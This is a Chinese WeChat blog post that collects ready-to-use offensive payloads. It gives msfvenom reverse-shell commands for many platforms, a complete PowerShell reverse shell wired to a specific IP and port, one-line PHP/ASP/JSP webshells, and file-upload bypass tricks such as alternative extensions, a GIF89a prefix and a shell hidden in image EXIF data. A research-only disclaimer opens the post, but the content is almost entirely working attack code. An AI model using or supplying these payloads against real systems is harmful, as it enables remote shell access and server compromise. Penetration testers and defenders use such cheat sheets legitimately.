声明：文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由用户承担全部法律及连带责任，文章作者不承担任何法律及连带责任。 |
宝子们现在只对常读和星标的公众号才展示大图推送，建议大家把李白你好“设为星标”，否则可能就看不到了啦！
0x01 Payload
列举一些常见payloads: 反弹shell, webshell，Upload Bypass。
0x02 反向shell
Linux - MSFVenom
msfvenom -p linux/x86/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f elf > shell-x86.elfmsfvenom -p linux/x64/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f elf > shell-x64.elf
Windows - MSFVenom
msfvenom -p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe > shell-x86.exemsfvenom -p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe > shell-x64.exe
Powershell
powershell -nop -exec bypass -c "$client = New-Object System.Net.Sockets.TCPClient('192.168.119.194',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"ASP
msfvenom -p windows/shell/reverse_tcp LHOST=<IP> LPORT=<PORT> -f asp > shell.aspASPX
msfvenom -p windows/shell/reverse_tcp LHOST=<IP> LPORT=<PORT> -f aspx > shell.aspxJSP
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f raw > shell.jspWAR
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f war > shell.warPHP
msfvenom -p php/reverse_php LHOST=<IP> LPORT=<PORT> -f raw > shell.phpHTA
msfvenom -p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f hta-psh > shell.htaDLL
msfvenom -p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f dll > shell.dll反向shell在线生成
https://weibell.github.io/reverse-shell-generator/
0x03 简单的webshell
PHP
echo passthru($_GET['cmd']);echo shell_exec($_GET['cmd']);
ASP
<% eval request("cmd") %>JSP
<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>0x04 文件上传绕过
后缀拓展
PHP: phtml, .php, .php3, .php4, .php5, and .incASP: asp, .aspxPERL: .pl, .pm, .cgi, .libJSP: .jsp, .jspx, .jsw, .jsv, and .jspfColdfusion: .cfm, .cfml, .cfc, .dbm
使用GIF89a
需在编写shell代码之前添加文本“GIF89a”。例如:
GIF89a;system($_GET['cmd']);//or you can insert your complete shell code
图片中包含shell
exiftool -Comment=' echo "<pre>"; system($_GET['cmd']); ' lo.jpg
红蓝对抗攻防武器库
攻防演练从钓鱼上线到内网漫游
搞网络安全的真的都是土豪吗？
原文始发于微信公众号（李白你好）：列举一些常见payloads: 反弹shell, webshell，Upload Bypass
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论